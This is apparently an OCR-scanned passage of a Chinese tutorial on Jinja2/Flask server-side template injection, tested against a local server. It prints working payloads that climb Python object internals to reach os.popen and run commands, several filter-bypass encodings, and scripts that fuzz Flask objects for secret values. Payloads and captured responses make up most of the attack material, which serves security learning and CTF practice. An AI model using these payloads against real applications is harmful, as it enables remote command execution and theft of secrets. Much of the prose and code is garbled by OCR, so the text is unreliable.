len__", "__1t__', "__mul__", "__ne__", "__new__', '__reduce__"', '__reduce_ex__"', '__repr__"', '__reversed__', '"__rmul__', '__setattr__
', '__setitem__"', '__sizeof__', '__str__', '__subclasshook__"', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop'
, 'remove', 'reverse', 'sort']

HAPHEA T IA{ERpopsk NI R FER{E:

>>> list_test = [1,2,3]
>>> list_test.pop(l)
2

FRLA, EEfpayloada] LA AR T SR A :

{{"".__class__.__base__.__subclasses__().pop(442).__init__.__globals__["os'].popen("1ls").read()}}

FHAE

>>> dir(dict)
['__class__', '__contains__', '__delattr__', '__delitem__",

v v v U

__dir__", "__doc__', '__eq__", '"__format__', '__ge__', '__getattribute__



v v v v

' v ' v v v v v v v v v

, '__getitem__', '__gt__", '__hash__', '"__init__", '__init_subclass__', '__iter__"', '__le__', '"__len__", '"__1t__', "__ne__", '__new_
_", '"__reduce__', '__reduce_ex__", "__repr__", "__reversed__', '__setattr__", '__setitem__', '__sizeof__', '__str__"', '__subclasshook
__", 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']

TEFHAE R BEApopsREXE:
>>> test = {"a":"flag"}
>>> test.pop("a")
'flag'
LT BEAget 5 iEEVE:
>>> test = {"a":"flag"}
>>> test.get("a")
'flag'
EE, ERIDMER _ getitem  F5iEBVE:
>>> test.__getitem__("a")
'flag'
TR E
>>> dirCtuple)
['__add__", "__class__", '__contains__', '__delattr__', '__dir__"', '__doc__', '__eq__', '__format__', '"__ge__', '__getattribute__",
__getitem__", '__getnewargs__"', '__gt__', '__hash__", '__init__", '__init_subclass__"', '__iter__"', '__le__", '"__len__", '__1t__", '"__
mul__', '"__ne__', '__new__", '__reduce__', '__reduce_ex__", "__repr__", '__rmul__", '__setattr__', '__sizeof__', '__str__", '__subcla
sshook__", '"count', 'index']

JTEABATLAMER _ getitem_ REVME.

.

U

/|

IBIES

TRT/MES, RERER(VRAEDERTRE, B

=

EIRaY: 3

o

diEEES

SEEpayloadHEFER T HIES:

B R ITAIERER, TREEMEBIFNERRNE, EAPythont REER OIS ER/NE

S Ak

AIXRIM, ERNERESE|inahND RN, REDHA

"

MRS 7T W ERERET, TRMIREES:



@® ® Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

15 < J6 7 x]8x]9xJ10x]11~]12~]13~]24x]..)

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 7 (2)

Response

Raw | Headers | Hex Render]

GET /hello?name=''.__class__._mro__ HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

10 Connection: close

11

12

AU WN

© ©

@@@@ Search... 0 matches @ Pretty

Done

V>

=
v

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8 r
3 Content-Length: 26
4 server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 05:24:32 GMT
6
7 Hello ''._ class__._ mro___
-

v
@@ EJ EJ Search... 0 matches ( \n Pretty

179 bytes | 2 millis

ELERY, jinjaBASIB=MORN, ERIWNEIIZAN, AMTRE, XEREHRNARERZEIRT: &) .

ETREEFA {5 MXEDEBMINFIBIRE.

RENEK:

{%set a=""'.__class__.__base__%}{%print a%}

RENFRE F25

{%set+a="".__class__.__base__.__subclasses__()%}{%print+a%}

fuzz os module

{%set a="".__class__.__base__.__subclasses__()[470].__init__.__globals__["os"]%}{%print a%}



‘00 @ Intruder attack 8
J Results TTarget T Positions T Payloads TOptions ]

| Filter: Showing all items |®
Request | Payload | Status | Error | Timeout | Length ¥ | Comment
466 466 200 UJ UJ 272 N
467 467 200 = a 272 r
468 468 200 O 0 272
469 469 200 O (] 272
470 470 200 g O
80 80 200 = (] 158 )
81 81 200 O (J 158
82 82 200 O (] 158
83 83 200 O O 158
94 94 200 = (] 158
95 95 200 O (J 158
92 9 200 O (] 158
98 98 200 O O 158
104 104 200 @) 0 158 E

J Raw T Headers T Hex T Render ]

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 118

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 05:34:50 GMT

>

Nous WwN e

Hello &lt;module &#39;0s&#39; from &#39;/Library/Frameworks/Python.framework/Versions/3.8/1ib/python3.8/0s.py&#39;

v

< Ty >
@@:} EJ => | | Search... 0 matches \n Pretty

ITEY T = ———————————

use os module call system command

{%set+a="".__class__.__base__.__subclasses__()[470].__init__.__globals__["o0s"].popen("whoami")%}{%print+a.read()%}

FEZF MsetMprintiXF MEHEERFASSTI,
WRIRBMERA print , MWAIMAER curl RIMEFHLSHITRER,

TR EXRTF
LEFRHN—DBRETIDERRTH, FIRXEBSWARTIIE, TBRHNTFHBOTIE, LMTETos, _class_iKLE,
BB KL AT A X R A

o ITiERR
e Pythonigik

TERBE—AARHTIHE.
sk
attr

ERattridiRF I UNEI X BRFEIE, ET R4, BNFENERBERE:



do_attr(environment, obj, name):

attr X BFRE TR EANnameAstriR LR —E, XEWERNTTUEAunicodefmIZIFRIEH.
BB IR IR T/ B iR Junicode RS :

_ class__ \u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f

ASCII ¥ Unicode Unicode ¥ ASCII Unicode ¥ $1X 13X ¥ Unicode BTER

EEFEAattrdig2s:

{{"" lattr("\u0d5f\udd5f\udd63\udd6c\udd61\udd73\udd73\udd5f\udds5f")}}



@® ® Burp Suite Professional v2020.8 - Temporary Project - licensed to google
[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel < v >|v Target: http://0.0.0.0:5000 7 (2)

Request Response

Raw | Params IHeaders Hex | U2C ] Raw | Headers | Hex | Render ]

1 GET /hello?name= A 1 HTTP/1.0 200 OK A
{{""|attr("\u005£\u005£\u0063\u006c\u0061\u0073\u0073\u005£\u005£")}} r 2 Content-Type: text/html; charset=utf-8 r
HTTP/1.1 3 Content-Length: 33

2 Host: 0.0.0.0:5000 4 server: Werkzeug/1.0.1 Python/3.8.0

3 Pragma: no-cache 5 Date: Thu, 24 Sep 2020 07:26:39 GMT

4 Cache-Control: no-cache 6

5 Upgrade-Insecure-Requests: 1 7 Hello &lt;class &#39;str&#39;&gt;

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

10 Connection: close
11
12
- -
v v
@@ @ @ Search... 0 matches \n Pretty @@ EJ EJ Search... 0 matches \n Pretty
Done 186 bytes | 12 millis

& B RT DARE TH RO 3R BY E 5 5 88 A 33 Bz A class
format

formatidiEF A AEFRF B %s. od FERANURAR:



do_format(value, *args, *xkwargs):

{{""["%s%s" | format("__clas","s__")]1}}

Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[Dashboard TTarget TProxy Tlntruder T Repeater TSequencer TDecoder TComparer TExtender TProject options TUser options TAuthz TKnife TBuerSLinkFinder TLogger++ ]

1x]sxJ6x]7x]8x]9xJ10x]11x]12x][13 x]14 x Jas] .. |

Send Cancel <|»

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex Render]

Target: http://0.0.0.0:5000 7 (2)

N ok wWNR

v ©

10
11

12

GET /hello?name={{''["%s%s"|format("__clas","s_ ")]}} HTTP/l.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;g=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Connection: close

T

-
v

®{§}1 EJ - Search... 0 matches T Pretty

Done

N WN R

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 33

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 07:30:36 GMT

Hello &ltj;class &#39;str&#39;&gt;

Y

(=

@@ @ : Search...

v
0 matches T Pretty

186 bytes | 2 millis



join
joinid 82833 RIPythonFRfljoiniEis, AILUETIREHIFRH:

>>> "', join(["__clas","s__"])
'__class__"'

XA IR SHE RS A:

{{""[["clas","s__"]Ijoin("")]}}

® [ ) Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy T Intruder TRepeater TSequencer T Decoder TComparer T Extender T Project options TUser options TAuthz T Knife T BurpJSLinkFinder T Logger++ ]

1x]s~xJ6x]7x]8x9xJ10x]11~]12 x[13 x]14 ~ Jasa] -

send | | Cancel | [ <Iv ][ >Ir Target: http://0.0.0.0:5000 7 (2)

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render ]
1 GET /hello?name={{''[["__clas","s_ "]|join("")]}} HTTP/1.1 A 1 HTTP/1.0 200 OK A
2 Host: 0.0.0.0:5000 r 2 Content-Type: text/html; charset=utf-8 r
3 Pragma: no-cache 3 Content-Length: 33
4 Cache-Control: no-cache 4 Server: Werkzeug/1.0.1 Python/3.8.0
5 Upgrade-Insecure-Requests: 1 5 Date: Thu, 24 Sep 2020 07:35:18 GMT
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) 6
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 7 Hello &lt;class &#39;str&#39;&gt;
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close
11
12
- -
v v
@{{3} 0 matches \n Pretty Search... 0 matches \n Pretty
Done 186 bytes | 2 millis

lower
REmE, BFEFEENNERT, —RATABRREILREANE, NTENEHIER.

{{""["__ClasS__"Ilower]}}



@® ® Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

GET /hello?name={{''["__ ClasS__ "|lower]}} HTTP/l.1l

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

AU WN

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close

11

12

@@@@ Search... 0 matches @ Pretty

Done

replace

replaceidif =3 REB I F R B PNETFRIEITEIR.

{{""["__clagwess__"Ireplace('qwe', "' ')]1}}

V>

=
v

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 33

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 07:36:16 GMT

T

NoU e wWN

Hello &lt;class &#39;str&#39;&gt;

=

v
@@ EJ EJ Search... 0 matches \n | | Pretty

186 bytes | 2 millis
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[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

GET /hello?name={{''["_ claqwess__"|replace('qwe','')]}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

AU WN

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close

11

12

@@@@ Search... 0 matches @ Pretty

Done

striptags

striptagsid 23 AEGS R IRF T B PAUIRE .

{{'"'["__cla<a>ss__"Istriptags]}}

V>

=
v

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 33

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 07:40:08 GMT

T

NoU e wWN

Hello &lt;class &#39;str&#39;&gt;

=

v
@@ EJ EJ Search... 0 matches \n | | Pretty

186 bytes | 2 millis
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[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

GET /hello?name={{''["_ cla<a>ss__"|striptags]}} HTTP/l.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

AU WN

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close

11

12

@@@@ Search... 0 matches @ Pretty

Done

PythoniE;
PythonRFRFE, AEMARBRELRIUBIRNGE.

format

{{"{3{}".format("a", " "dmin")3}3}

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 33

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 07:41:44 GMT

V>
T

NoU e wWN

Hello &lt;class &#39;str&#39;&gt;

= =
v

v
@@ EJ EJ Search... 0 matches \n Pretty

186 bytes | 4 millis
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[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

AU WN

© ©

10
11

GET /hello?name={{"{}{}".format("a","dmin")}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Connection: close

12

@@ Search... 0 matches @ Pretty

Done

replace

{{"admigwen" .replace("qwe","")}}

V>

=
v

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8 r
3 Content-Length: 11
4 server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 07:45:43 GMT
6
7 Hello admin
-

v
Search... 0 matches | Pretty

164 bytes | 2 millis
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[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

AU WN

© ©

10
11

GET /hello?name={{"admiqwen".replace("qwe","")}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Connection: close

12

@@ Search... 0 matches @ Pretty

Done

lower

{{"Admin" . Tower()}}

V>

=
v

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8 r
3 Content-Length: 11
4 server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 07:47:21 GMT
6
7 Hello admin
-

v
Search... 0 matches | Pretty

164 bytes | 2 millis
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[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

AU WN

8
9
10

11
12

GET /hello?name={{"Admin".lower()}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Connection: close

0 matches \n Pretty

{"".join(["a", "dmin'1)}}

V>

=
v

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8 r
3 Content-Length: 11
4 server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 07:48:21 GMT
6
7 Hello admin
f
-

v
Search... 0 matches | Pretty

164 bytes | 2 millis
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[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x]8x]9xJ10x]11x]12 x][13 x]14 ~ Jasg] .. |

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

GET /hello?name={{"".join(['a','dmin'])}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

AU WN

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close

11

12

@@@@ Search... 0 matches @ Pretty

Done

Ayt

PythonA & E 57N HIEESE:

V>

=
v

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8 r
3 Content-Length: 11
4 server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 07:48:59 GMT
6
7 Hello admin
-

v
@@ EJ EJ Search... 0 matches \n | | Pretty

164 bytes | 2 millis
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[Dashboard TTarget TProxy Tlntruder T Repeater I Sequencer TDecoder TComparer TExtender TProject options TUser options TAuthz TKnife TBuerSLinkFinder TLogger++ ]

155 < J6 7 <]8xJ9x]10«]11 ~]12~]13~]14 ]15 x]16 x[17 x [18 x [19 x [20 x [ ... ]
Cancel Target: http://0.0.0.0:5000 2 (2)

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render ]
1 GET /hello?name={{"\x5F\x5Fbases\x5F\x5F"}} HTTP/1.1 A 1 HTTP/1.0 200 OK A
2 Host: 0.0.0.0:5000 3 2 Content-Type: text/html; charset=utf-8 r
3 Pragma: no-cache 3 Content-Length: 15
4 Cache-Control: no-cache 4 server: Werkzeug/1.0.1 Python/3.8.0
5 Upgrade-Insecure-Requests: 1 5 Date: Thu, 24 Sep 2020 15:20:24 GMT
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) 6
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 7 Hello _ bases_
7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close
11
12
f
- e
v v
@@ Search... 0 matches \n Pretty ®{§_}‘ Search... 0 matches Pretty
Done 168 bytes | 2 millis
o J
request

EHEERT AMERrequest I RN EERAE, LEHHE, XEMFET.

fuzzr] Fl) B 44 i bk

LERFTHRBIM globals SREVEIRLZE —S4EGE, ABARANIN U A fuzziX LR FHE0E?

B2018% TokyoWesterns CTFREZ LT —&/, HPHIMEST THIA, $E THEAREZEIA: https://eviloh.github.io/2018/09/03/TokyoWesterns—
2018-shrine-writeup/

RICED:

import flask

import os

from flask import request
from flask import g

from flask import config

app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'

def search(obj, max_depth):


https://eviloh.github.io/2018/09/03/TokyoWesterns-2018-shrine-writeup/

visited_clss 1
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
printCobj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):

if name.startswith('__") and name.endswith('__"):
if name not in ('__globals__', '__class__', '__self__",
'__weakref__"', '__objclass__"', '__module__"'):
continue

attr = getattr(obj, name)
yield from visitCattr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '"{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

@app.route('/")
def index():
return open(__file__).read()

@app . route('/shrine/<path:shrine>")
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path

if __name__ == '__main__":
app . run(debug=True)

BEUERRE:

import flask

import json

import os

from flask import request
from html import escape
from flask import g



from flask import session
from flask import url_for
from flask import config

app = flask.Flask(__name__)
app.config['secret'] = 'my_secret’

class search:
def __init__(self, depth, keyword, keyword_type):

self.visited_class = []
self.visited_object = []
self.result_dict = {}
self.depth = depth
self.keyword = keyword
self.keyword_type = keyword_type

def visit(self, obj, depth, path):

if depth == self.depth:
return None
if str(self.keyword) in str(obj):
if self.keyword_type:
if type(self.keyword) == type(obj):
self.result_dict[path] = str(obj)
else:
self.result_dict[path] = str(obj)
elif isinstance(obj, (int, float, bool, str, bytes)):
if str(self.keyword) in str(obj):
if self.keyword_type:
if type(self.keyword) == type(obj):
self.result_dict[path] = str(obj)
else:
self.result_dict[path] = str(obj)
elif isinstance(obj, type):
if obj in self.visited_class:
return None
self.visited_class.append(obj)
else:
if obj in self.visited_object:
return None
self.visited_object.append(obj)

# attributes
for name in dir(obj):

if name.startswith('__') and name.endswith('__"):
if name not in ('__globals__', '__class__', '__self__', '__init__", '__base__"',
'__weakref__"', '__objclass__"', '__module__"'):
continue

name_attr = getattr(obj, name)
if str(self.keyword) in str(name_attr):
if self.keyword_type:
if type(self.keyword) == type(name_attr):
self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
else:
self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
self.visit(name_attr, depth + 1, '{}.{}'.format(path, name))

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
if str(self.keyword) in str(v):
if self.keyword_type:
if type(self.keyword) == type(v):
self.result_dict['{}.{}'.format(path, k)] = str(v)
else:
self.result_dict['{}.{}'.format(path, k)] = str(v)
self.visit(v, depth + 1, "{}.{}'.format(path, k))



except:
pass

elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
if str(self.keyword) in str(v):
if self.keyword_type:
if type(self.keyword) == type(v):
self.result_dict["'{}[{}]'.format(path, repr(i))] = str(v)
else:
self.result_dict["{}[{}]"'.format(path, repr(i))] = str(v)
self.visit(v, depth + 1, "{}[{}]'.format(path, repr(i)))

def get_search_result(self):
return self.result_dict

@app . route('/")

def search_function():
search_class = search(10, 'my_secret', False)
search_class.visit(session, @, 'request')
return escape(str(search_class.get_search_result()))

if __name__ == "__main__":
app . run(debug=True, port=8887)

BRYRETRS, EETMMNERSF—R, RBEgths—L, NEamdERE.
LEANIE B Rconfigh iiflask, MRBINMconhgiiFER T, MAIMfuzzdtFsE, EEAMNRERSEElagRlE, fuzzfi5:

import flask

import json

import os

from flask import request
from html import escape
from flask import g

from flask import session
from flask import url_for
from flask import config

app = flask.Flask(__name__)
app.config['secret'] = 'flagl23'
glob_secret = 'flagl23'

class search:
def __init__(self, depth, keyword, keyword_type):

self.visited_class = []
self.visited_object = []
self.result_dict = {3}
self.depth = depth
self.keyword = keyword
self.keyword_type = keyword_type

def visit(self, obj, depth, path):

if depth == self.depth:
return None
if str(self.keyword) in str(obj):
if self.keyword_type:
if type(self.keyword) == type(obj):
self.result_dict[path] = str(obj)
else:
self.result_dict[path] = str(obj)
elif isinstance(obj, (int, float, bool, str, bytes)):
if str(self.keyword) in str(obj):
if self.keyword_type:



if type(self.keyword) == type(obj):
self.result_dict[path] = str(obj)
else:
self.result_dict[path] = str(obj)
elif isinstance(obj, type):
if obj in self.visited_class:
return None
self.visited_class.append(obj)
else:
if obj in self.visited_object:
return None
self.visited_object.append(obj)

# attributes
for name in dir(obj):

if name.startswith('__") and name.endswith('__"):
if name not in ('__globals__"', '__class__', "'__self__', '__init__", '__base__"',
'__weakref__', '__objclass__", '__module__"'):
continue

name_attr = getattr(obj, name)
if str(self.keyword) in str(name_attr):
if self.keyword_type:
if type(self.keyword) == type(name_attr):
self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
else:
self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
self.visit(name_attr, depth + 1, '{}.{}'.format(path, name))

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
if str(self.keyword) in str(v):
if self.keyword_type:
if type(self.keyword) == type(v):
self.result_dict['{}.{}'.format(path, k)] = str(v)
else:
self.result_dict['{}.{}'.format(path, k)] = str(v)
self.visit(v, depth + 1, "{}.{}'.format(path, k))
except:
pass

elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
if str(self.keyword) in str(v):
if self.keyword_type:
if type(self.keyword) == type(Vv):
self.result_dict['{}[{}]'.format(path, repr(i))] = str(v)
else:
self.result_dict["{}[{}]".format(path, repr(i))] = str(v)
self.visit(v, depth + 1, "{3}[{}]'.format(path, repr(i)))

def get_search_result(self):
return self.result_dict

@app. route('/")

def search_function():
search_class = search(5, 'flagl23', False)
search_class.visit(request, @, 'request')
return escape(str(search_class.get_search_result()))

if __name__ == '__main__":
app.run(debug=True, port=8887)

XEBEHfuzzlRrequesti R, Rfuzz7 AERMAUKET:



& C © 127.0.041

